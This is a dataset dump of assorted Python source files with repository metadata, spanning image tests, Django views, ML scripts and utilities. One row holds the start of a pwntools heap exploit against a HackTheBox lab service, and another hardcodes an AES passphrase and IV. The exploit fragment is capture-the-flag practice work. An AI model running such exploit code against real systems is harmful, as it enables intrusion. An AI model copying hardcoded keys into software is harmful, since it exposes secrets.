hexsha stringlengths 40 40 | size int64 7 1.04M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 247 | max_stars_repo_name stringlengths 4 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 247 | max_issues_repo_name stringlengths 4 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 247 | max_forks_repo_name stringlengths 4 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.04M | avg_line_length float64 1.77 618k | max_line_length int64 1 1.02M | alphanum_fraction float64 0 1 | original_content stringlengths 7 1.04M | filtered:remove_function_no_docstring int64 -102 942k | filtered:remove_class_no_docstring int64 -354 977k | filtered:remove_delete_markers int64 0 60.1k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
962e174b19210a27ded77a0b7b737be9fd2f9048 | 6,204 | py | Python | menpo/image/test/test_image_masked.py | nontas/menpo | f79f83c71b643432252f229b1d5b3a3bf8d36a03 | [
"BSD-3-Clause"
] | null | null | null | menpo/image/test/test_image_masked.py | nontas/menpo | f79f83c71b643432252f229b1d5b3a3bf8d36a03 | [
"BSD-3-Clause"
] | 1 | 2019-03-09T16:01:46.000Z | 2019-03-09T16:01:46.000Z | menpo/image/test/test_image_masked.py | justusschock/menpo | d915bec26de64a5711b96be75cd145661a32290e | [
"BSD-3-Clause"
] | null | null | null | import numpy as np
from pytest import raises
from numpy.testing import assert_allclose
from menpo.shape import PointCloud
from menpo.image import MaskedImage, BooleanImage
| 38.775 | 80 | 0.63185 | import numpy as np
from pytest import raises
from numpy.testing import assert_allclose
from menpo.shape import PointCloud
from menpo.image import MaskedImage, BooleanImage
def test_init_from_pointcloud_constrain_mask():
pc = PointCloud(np.array([[5, 5], [5, 20], [20, 20]]))
im = MaskedImage.init_from_pointcl... | 5,671 | 0 | 345 |
3d9e590f0326a1b7c2d6a6e3b5c5eb2083013dc9 | 4,873 | py | Python | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | pyFAI/utils/shell.py | jangarrevoet/pyFAI | 0779ac9aa5d72ac582413921989a8375bb7a990a | [
"MIT"
] | null | null | null | # coding: utf-8
#
# Project: Azimuthal integration
# https://github.com/silx-kit/pyFAI
#
# Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation ... | 37.775194 | 148 | 0.652781 | # coding: utf-8
#
# Project: Azimuthal integration
# https://github.com/silx-kit/pyFAI
#
# Copyright (C) 2015-2018 European Synchrotron Radiation Facility, Grenoble, France
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation ... | 0 | 0 | 0 |
c0fabdc2c7a0b4d1b583e49cf3de720ce360b9f6 | 73 | py | Python | src/credentials.py | flopeters1337/L_orang-chatbot-module | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | 1 | 2018-03-28T08:45:12.000Z | 2018-03-28T08:45:12.000Z | src/credentials.py | flopeters1337/Palantir-project | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | 2 | 2018-03-22T20:34:23.000Z | 2018-03-22T20:35:10.000Z | src/credentials.py | flopeters1337/Palantir-project | 3247cde7934212a24633d496ce52c90e22b3df04 | [
"MIT"
] | null | null | null | aes_passphrase = "Palantir_is_the_best1337"
aes_iv = b'wtf1sd1sw4t1sd1s'
| 24.333333 | 43 | 0.835616 | aes_passphrase = "Palantir_is_the_best1337"
aes_iv = b'wtf1sd1sw4t1sd1s'
| 0 | 0 | 0 |
45d09f639841a0fb43903a53aebd380a7577931d | 991 | py | Python | lifelong_rl/policies/mpc/policy_mpc.py | nakamotoo/lifelong_rl | a8376a57cdeff158810e71cd31cba089852399b7 | [
"MIT"
] | 67 | 2020-09-17T21:27:20.000Z | 2022-03-31T02:52:29.000Z | lifelong_rl/policies/mpc/policy_mpc.py | nakamotoo/lifelong_rl | a8376a57cdeff158810e71cd31cba089852399b7 | [
"MIT"
] | 1 | 2021-04-26T13:25:48.000Z | 2021-04-26T13:25:48.000Z | lifelong_rl/policies/mpc/policy_mpc.py | nakamotoo/lifelong_rl | a8376a57cdeff158810e71cd31cba089852399b7 | [
"MIT"
] | 8 | 2020-12-12T19:46:55.000Z | 2022-01-13T10:15:30.000Z | import numpy as np
import torch
from lifelong_rl.policies.mpc.mpc import MPCPolicy
class PolicyMPCController(MPCPolicy):
"""
Perform MPC planning over a policy that takes in an additional latent.
"""
| 27.527778 | 74 | 0.603431 | import numpy as np
import torch
from lifelong_rl.policies.mpc.mpc import MPCPolicy
class PolicyMPCController(MPCPolicy):
"""
Perform MPC planning over a policy that takes in an additional latent.
"""
def __init__(
self,
policy, # control policy to run that takes in a la... | 694 | 0 | 81 |
71f43ef8a28e18f93e80ba721bc1c16573980398 | 109 | py | Python | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 9 | 2020-08-12T15:33:57.000Z | 2021-12-31T06:45:36.000Z | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 1 | 2020-08-13T12:57:19.000Z | 2020-08-14T06:20:20.000Z | contextfilter/__init__.py | aviramha/contextfilter | abd757360904c31c1c201854d0b8a73907c0373b | [
"MIT"
] | 1 | 2020-11-26T10:40:36.000Z | 2020-11-26T10:40:36.000Z | from .main import ConstContextFilter, ContextVarFilter
__all__ = ("ContextVarFilter", "ConstContextFilter")
| 27.25 | 54 | 0.816514 | from .main import ConstContextFilter, ContextVarFilter
__all__ = ("ContextVarFilter", "ConstContextFilter")
| 0 | 0 | 0 |
5e0294599126174b834f8a77e6715db98ebb4b43 | 3,807 | py | Python | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | null | null | null | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | 1 | 2020-05-14T13:20:45.000Z | 2020-05-14T19:08:06.000Z | cli/util.py | aman-v1729/CommonAudioVideoCLI | c2245a02bbafd1ff9899dba2b02f246f98538746 | [
"MIT"
] | 5 | 2020-05-17T17:00:43.000Z | 2020-07-25T06:19:57.000Z | import time
import os
from select import select
import pyqrcode
import subprocess
import re
from magic import Magic
from audio_extract import convert2mkv
from termcolor import colored
import threading
import itertools
import sys
def wait_until_error(f, timeout=0.5):
""" Wait for timeout seconds until the function... | 27.586957 | 100 | 0.558182 | import time
import os
from select import select
import pyqrcode
import subprocess
import re
from magic import Magic
from audio_extract import convert2mkv
from termcolor import colored
import threading
import itertools
import sys
def wait_until_error(f, timeout=0.5):
""" Wait for timeout seconds until the function... | 2,351 | -5 | 226 |
c75118ae6d156fc17e88797980a87b77a378b9fc | 9,387 | py | Python | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | nz_bank_validate/__init__.py | zhaowb/nz-bank-validate | 795b8aae7c29b7fe10ae22522561899d029ef36b | [
"MIT"
] | null | null | null | """Validate NZ bank account number.
Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali... | 33.888087 | 290 | 0.551188 | """Validate NZ bank account number.
Refer to document: [RWT and NRWT Certificates / 2020 / Version 1.0](https://www.ird.govt.nz/-/media/project/ir/home/documents/income-tax/withholding-taxes/rwt-nrwt-withholding-tax-certificate/2020-rwt-and-nrwt-certificate-filing-specification.pdf) charpter 8. Bank account number vali... | 1,000 | 0 | 159 |
333f3126eda430d2e5d660da41db581707cf0684 | 2,959 | py | Python | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | 1 | 2019-08-28T11:03:13.000Z | 2019-08-28T11:03:13.000Z | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | null | null | null | src/sentry/models/savedsearch.py | boblail/sentry | 71127331e58791d4651e480b65dd66f06cadc1c8 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.models.search_common import SearchType
DEFAULT_SAVED_SEARCHES = [
{
'name': 'Unresolved Issues',
'qu... | 30.505155 | 88 | 0.658668 | from __future__ import absolute_import, print_function
from django.db import models
from django.utils import timezone
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.models.search_common import SearchType
DEFAULT_SAVED_SEARCHES = [
{
'name': 'Unresolved Issues',
'qu... | 262 | 485 | 132 |
e28195c9b8b421f635270963d0f0cacc0dfd62c2 | 3,327 | py | Python | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | null | null | null | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | null | null | null | Generative/CONDITIONALMOMENTS/generateSFSQTFrecordsKSE.py | NREL/GANISP | 3ce6979e26f837d05b8f7cfbe2b949f900b6026b | [
"BSD-3-Clause"
] | 1 | 2022-02-23T13:48:06.000Z | 2022-02-23T13:48:06.000Z | import itertools
import time
import h5py
import sys
import os
import scipy.special
import numpy as np
sys.path.append('partools')
sys.path.append('scitools')
sys.path.append('util')
import parallel as par
from filters import boxFilter2D, upSample2D
import tensorflow as tf
import tensorflowUtils as tfu
from tensorflow.k... | 33.94898 | 157 | 0.676886 | import itertools
import time
import h5py
import sys
import os
import scipy.special
import numpy as np
sys.path.append('partools')
sys.path.append('scitools')
sys.path.append('util')
import parallel as par
from filters import boxFilter2D, upSample2D
import tensorflow as tf
import tensorflowUtils as tfu
from tensorflow.k... | 0 | 0 | 0 |
e62085c076d5ee3df1bbf430ce6b339a8188049f | 2,261 | py | Python | banditpylib/learners/ordinary_learner/eps_greedy.py | XiGYmax/banditpylib | 07698a1c6b17720a8199dea76580546fe3dfb9be | [
"MIT"
] | null | null | null | banditpylib/learners/ordinary_learner/eps_greedy.py | XiGYmax/banditpylib | 07698a1c6b17720a8199dea76580546fe3dfb9be | [
"MIT"
] | null | null | null | banditpylib/learners/ordinary_learner/eps_greedy.py | XiGYmax/banditpylib | 07698a1c6b17720a8199dea76580546fe3dfb9be | [
"MIT"
] | null | null | null | from typing import List, Tuple, Optional
import numpy as np
from banditpylib.arms import PseudoArm
from .utils import OrdinaryLearner
class EpsGreedy(OrdinaryLearner):
r"""Epsilon-Greedy policy
With probability :math:`\frac{\epsilon}{t}` do uniform sampling and with the
remaining probability play the arm wit... | 28.2625 | 78 | 0.631579 | from typing import List, Tuple, Optional
import numpy as np
from banditpylib.arms import PseudoArm
from .utils import OrdinaryLearner
class EpsGreedy(OrdinaryLearner):
r"""Epsilon-Greedy policy
With probability :math:`\frac{\epsilon}{t}` do uniform sampling and with the
remaining probability play the arm wit... | 0 | 0 | 0 |
a46c86484f7806f1d9c0d84bae5aff09e7a16b79 | 5,729 | py | Python | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | server/djangoapp/views.py | alex-bash/agfzb-CloudAppDevelopment_Capstone | 4cd7271826c122a8b9d1d0093225d42cfbfa1df0 | [
"Apache-2.0"
] | null | null | null | from django.shortcuts import render
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.models import User
from django.shortcuts import get_object_or_404, render, redirect
from .models import CarDealer, DealerReview, CarModel, CarMake
from .restapis import get_dealers_from_cf,get_dealer_... | 38.709459 | 114 | 0.635364 | from django.shortcuts import render
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.models import User
from django.shortcuts import get_object_or_404, render, redirect
from .models import CarDealer, DealerReview, CarModel, CarMake
from .restapis import get_dealers_from_cf,get_dealer_... | 4,647 | 0 | 180 |
771bbda3c45ed195a15054f8b4b2763ac843dba6 | 509 | py | Python | app/src/accounts/urls.py | Mahmoud-Kssab/BloodBank-master | b65cf17187255ab4b6d21a2247642a0c4410ab86 | [
"MIT"
] | null | null | null | app/src/accounts/urls.py | Mahmoud-Kssab/BloodBank-master | b65cf17187255ab4b6d21a2247642a0c4410ab86 | [
"MIT"
] | 3 | 2021-05-11T11:16:20.000Z | 2022-02-27T03:25:49.000Z | app/src/accounts/urls.py | abdallah-5/BloodBank | dcf38c67688dd5df1697a831f5111f547191fa81 | [
"MIT"
] | 1 | 2021-07-31T12:07:18.000Z | 2021-07-31T12:07:18.000Z | from django.conf.urls import url
from . import views
from django.contrib.auth.views import LoginView,LogoutView
app_name='accounts'
urlpatterns = [
url(r'^$', views.home , name='home'),
url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"),
url(r'^logout$', LogoutView),
url(r'^s... | 31.8125 | 82 | 0.652259 | from django.conf.urls import url
from . import views
from django.contrib.auth.views import LoginView,LogoutView
app_name='accounts'
urlpatterns = [
url(r'^$', views.home , name='home'),
url(r'^login/$', LoginView.as_view(template_name='login.html'), name="login"),
url(r'^logout$', LogoutView),
url(r'^s... | 0 | 0 | 0 |
3f955fb9e1260aa29ea0f992af02c960538a27aa | 8,567 | py | Python | remoteappmanager/docker/tests/test_container.py | robertopreste/simphony-remote | 4b07ecd0cf7a66b534e215225bc4a97e903feabb | [
"BSD-3-Clause"
] | 6 | 2016-10-17T18:37:56.000Z | 2021-12-16T09:38:08.000Z | remoteappmanager/docker/tests/test_container.py | simphony/simphony-remote | fc5f0aef01165a497170684c40353a1bca3d6c2d | [
"BSD-3-Clause"
] | 570 | 2016-06-23T12:09:31.000Z | 2022-03-15T17:04:00.000Z | remoteappmanager/docker/tests/test_container.py | robertopreste/simphony-remote | 4b07ecd0cf7a66b534e215225bc4a97e903feabb | [
"BSD-3-Clause"
] | 8 | 2018-03-23T00:00:51.000Z | 2021-08-30T18:54:40.000Z | from unittest import TestCase
from remoteappmanager.docker.container import Container
from remoteappmanager.docker.docker_labels import (
SIMPHONY_NS, SIMPHONY_NS_RUNINFO)
from remoteappmanager.tests.mocking.virtual.docker_client import \
VirtualDockerClient
from remoteappmanager.tests.utils import assert_cont... | 43.48731 | 121 | 0.55457 | from unittest import TestCase
from remoteappmanager.docker.container import Container
from remoteappmanager.docker.docker_labels import (
SIMPHONY_NS, SIMPHONY_NS_RUNINFO)
from remoteappmanager.tests.mocking.virtual.docker_client import \
VirtualDockerClient
from remoteappmanager.tests.utils import assert_cont... | 7,616 | 594 | 23 |
5e4a466e293ac085a59c395fe81568a497cf9e23 | 1,575 | py | Python | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | 20 | 2017-08-11T01:01:59.000Z | 2021-07-18T06:09:44.000Z | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | null | null | null | knn/knn_mnist.py | rockyzhengwu/mlscratch | bceb7d0267887edc670005366b413911a551f20a | [
"Apache-2.0"
] | 8 | 2017-08-11T03:23:02.000Z | 2019-10-28T14:50:36.000Z | #!/usr/bin/env python
# encoding: utf-8
import os
import numpy as np
import knn
def valu_result(pre_y, real_y):
"""
效果评估
"""
pre_count = {}
all_count = {}
for pre, real in zip(pre_y, real_y):
if real not in pre_count:
pre_count[real] = {}
all_count[real] = all_count... | 27.631579 | 66 | 0.558095 | #!/usr/bin/env python
# encoding: utf-8
import os
import numpy as np
import knn
def load_data(file_path):
X = []
Y = []
for file_name in os.listdir(file_path):
label = file_name.split("_")[0]
Y.append(int(label))
f = open(os.path.join(file_path, file_name))
lines = f.readli... | 757 | 0 | 46 |
12da6e6c01f311d6c770cb9696a00b32b7b3da9c | 47,400 | py | Python | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | null | null | null | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | 2 | 2021-12-29T21:43:29.000Z | 2022-01-27T10:45:49.000Z | tests/unit/test_fs_local.py | neuro-inc/platform-storage-api | 7564d6f353f7839962cc5dc2793ba44359eaf390 | [
"Apache-2.0"
] | null | null | null | import os
import shutil
import tempfile
import uuid
from collections.abc import AsyncIterator, Iterable, Iterator
from pathlib import Path, PurePath
from typing import Any, Callable, Coroutine
from unittest import mock
import pytest
import pytest_asyncio
from platform_storage_api.fs.local import (
FileStatus,
... | 34.223827 | 88 | 0.621814 | import os
import shutil
import tempfile
import uuid
from collections.abc import AsyncIterator, Iterable, Iterator
from pathlib import Path, PurePath
from typing import Any, Callable, Coroutine
from unittest import mock
import pytest
import pytest_asyncio
from platform_storage_api.fs.local import (
FileStatus,
... | 43,427 | 3,330 | 145 |
a1ef562e505fbe47039e9ab84cc794eec579be82 | 3,009 | py | Python | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
"MIT"
] | 1 | 2022-02-18T19:19:50.000Z | 2022-02-18T19:19:50.000Z | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
"MIT"
] | null | null | null | scripts/covid-index-rest.py | chuckmeyer/covid-geosearch | 6e83ecb8d31b00f50ed6d564a7c77e44ed424ebb | [
"MIT"
] | null | null | null | #!python3
import os
from algoliasearch.search_client import SearchClient
from dotenv import load_dotenv, find_dotenv
import json
import requests
load_dotenv(find_dotenv())
METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata'
REST_URL = 'ht... | 36.253012 | 152 | 0.705882 | #!python3
import os
from algoliasearch.search_client import SearchClient
from dotenv import load_dotenv, find_dotenv
import json
import requests
load_dotenv(find_dotenv())
METADATA_URL = 'https://webhooks.mongodb-stitch.com/api/client/v2.0/app/covid-19-qppza/service/REST-API/incoming_webhook/metadata'
REST_URL = 'ht... | 2,461 | 0 | 69 |
71ea28c6518db92b8a217bd244affd1c58fb1149 | 3,819 | py | Python | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:00:41.000Z | 2022-03-27T06:00:41.000Z | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | null | null | null | HackTheBox/prolabs/Rasta Labs/membermanager.py | mihaid-b/CyberSakura | f60e6b6bfd6898c69b84424b080090ae98f8076c | [
"MIT"
] | 1 | 2022-03-27T06:01:42.000Z | 2022-03-27T06:01:42.000Z | from pwn import *
#context.log_level = 'debug'
#http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
#http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html
p = remote('securewebinc.jet', 5555)
#p = process('./membermanager')
binary = ELF('./membermanager')
libc = EL... | 38.575758 | 143 | 0.680545 | from pwn import *
#context.log_level = 'debug'
#http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
#http://4ngelboy.blogspot.tw/2017/11/play-with-file-structure-yet-another.html
p = remote('securewebinc.jet', 5555)
#p = process('./membermanager')
binary = ELF('./membermanager')
libc = EL... | 638 | 0 | 144 |
653ebac9b608378bd958fc8eb802635c6758f75e | 1,167 | py | Python | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 15 | 2020-09-08T18:10:17.000Z | 2022-01-20T02:42:27.000Z | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 2 | 2020-07-16T23:16:00.000Z | 2021-04-14T10:54:23.000Z | setup.py | jackeylu/sentry-wechat | 66dcbbd88f4a3a77a40e45f76d95b4f5f4ef769a | [
"MIT"
] | 5 | 2020-06-09T04:14:49.000Z | 2021-06-01T11:17:27.000Z | #!/usr/bin/env python
# coding: utf-8
#############################################
# File Name: setup.py
# Author: whzcorcd
# Mail: whzcorcd@gmail.com
# Created Time: 2020-06-08
#############################################
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_des... | 25.933333 | 76 | 0.588689 | #!/usr/bin/env python
# coding: utf-8
#############################################
# File Name: setup.py
# Author: whzcorcd
# Mail: whzcorcd@gmail.com
# Created Time: 2020-06-08
#############################################
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_des... | 0 | 0 | 0 |
8492052e161b177d635426905d3b13d77cc95776 | 2,210 | py | Python | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 23 | 2015-06-08T13:01:00.000Z | 2021-12-30T08:20:04.000Z | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 1 | 2020-10-22T02:36:10.000Z | 2020-10-22T02:36:10.000Z | python/hello_python3/hello.py | jeremiedecock/snippets | 4bd4e7f459eee610d5cf19f845299ca942ff4b64 | [
"MIT"
] | 7 | 2017-10-31T09:48:14.000Z | 2022-01-04T15:59:45.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including witho... | 37.457627 | 93 | 0.722624 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including witho... | 0 | 0 | 0 |
dc166021134218e62816ef7c398ae9b323bb65d0 | 9,738 | py | Python | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | files/uplink.playground.py | hanez/uplink | 5a0b170610690351369f7f8495aa0fdab0342217 | [
"MIT"
] | null | null | null | #!/usr/bin/python3 -d
# Copyright (c) 2020 Johannes Findeisen <you@hanez.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
#... | 42.524017 | 149 | 0.602999 | #!/usr/bin/python3 -d
# Copyright (c) 2020 Johannes Findeisen <you@hanez.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
#... | 6,311 | 126 | 46 |
8d28706e7621c0e57e9593847f1ff1b51290661a | 3,399 | py | Python | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 3 | 2016-11-08T10:06:25.000Z | 2018-02-21T17:00:35.000Z | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 1 | 2018-06-10T11:28:16.000Z | 2018-06-11T12:04:50.000Z | vaje/Grafi/dag.py | jaanos/operacijske-raziskave | a8e32681f767c20452bd720b27dfad8abede397f | [
"MIT"
] | 2 | 2017-01-04T19:01:17.000Z | 2021-02-14T16:19:21.000Z | # -*- coding: utf-8 -*-
"""
Funkcije na grafih.
V ocenah časovne zahtevnosti je n število vozlišč v grafu,
m število povezav v grafu, d(u) pa število sosedov vozlišča u.
Pri tem predpostavljamo, da velja n = O(m)
(graf ima O(1) povezanih komponent).
Podane časovne zahtevnosti veljajo za predstavitev grafa s seznami so... | 26.97619 | 79 | 0.537217 | # -*- coding: utf-8 -*-
"""
Funkcije na grafih.
V ocenah časovne zahtevnosti je n število vozlišč v grafu,
m število povezav v grafu, d(u) pa število sosedov vozlišča u.
Pri tem predpostavljamo, da velja n = O(m)
(graf ima O(1) povezanih komponent).
Podane časovne zahtevnosti veljajo za predstavitev grafa s seznami so... | 0 | 0 | 0 |
21fc6f3b8821f940257e95d9e74755870a18674a | 2,619 | py | Python | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | 1 | 2021-09-11T04:37:06.000Z | 2021-09-11T04:37:06.000Z | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | null | null | null | util/features.py | MiningMark48/Discord-Bot-Template | 7c7fc29d80fdcd84eeae1a0c810092397aa632db | [
"MIT"
] | null | null | null | import os.path as osp
import yaml
import logging
log = logging.getLogger("discordbot")
features_path = "features.yml"
def get_extensions() -> list:
"""
Gets extensions from the `features.yml`
to be loaded into the bot
:return: list
"""
log.info("Getting extensions...")
exts = []
... | 28.467391 | 84 | 0.5063 | import os.path as osp
import yaml
import logging
log = logging.getLogger("discordbot")
features_path = "features.yml"
def get_extensions() -> list:
"""
Gets extensions from the `features.yml`
to be loaded into the bot
:return: list
"""
log.info("Getting extensions...")
exts = []
... | 0 | 0 | 0 |
a2af394472257ded8a2225cc96cb386f1dacd2bd | 1,070 | py | Python | digital_recognition.py | drpreetyrai/ChatBotCourse | 352a6672a19d3692c884ff376cbe067fff37e210 | [
"MIT"
] | 5,087 | 2016-06-28T08:58:30.000Z | 2020-08-18T08:49:46.000Z | digital_recognition.py | tta1993/ChatBotCourse | 156041d51ec51842592e8a1eeda565197fe31aec | [
"MIT"
] | 28 | 2016-10-26T08:01:18.000Z | 2019-10-22T06:41:21.000Z | digital_recognition.py | tta1993/ChatBotCourse | 156041d51ec51842592e8a1eeda565197fe31aec | [
"MIT"
] | 1,691 | 2016-06-29T07:33:36.000Z | 2020-08-18T08:50:02.000Z | # coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir', './', 'Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, on... | 30.571429 | 76 | 0.739252 | # coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('data_dir', './', 'Directory for storing data')
mnist = input_data.read_data_sets(FLAGS.data_dir, on... | 0 | 0 | 0 |
1e739634a3ec120a1da8b280e357d9b77bdd070a | 225 | py | Python | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null | dummyValues.py | tigar/single-quinn | 0c55a83d36cb949ce637218bfff4db202d434199 | [
"MIT"
] | null | null | null |
import random
f1 = random.uniform(1.0, 100.0)
f2 = random.uniform(1.0, 100-f1)
f3 = random.uniform(1.0, 100-f1-f2)
f4 = random.uniform(1.0, 100-f1-f2-f3)
f5 = random.uniform(1.0, 100-f1-f2-f3-f4)
print(f1, f2, f3, f4, f5)
| 20.454545 | 41 | 0.657778 |
import random
f1 = random.uniform(1.0, 100.0)
f2 = random.uniform(1.0, 100-f1)
f3 = random.uniform(1.0, 100-f1-f2)
f4 = random.uniform(1.0, 100-f1-f2-f3)
f5 = random.uniform(1.0, 100-f1-f2-f3-f4)
print(f1, f2, f3, f4, f5)
| 0 | 0 | 0 |
4a3ca18c9c8b306b71ff03de21973e964697838f | 2,503 | py | Python | user/views/pass_view.py | salimking/movepass | e03fa519f41974f25a70d23179722654b292ef11 | [
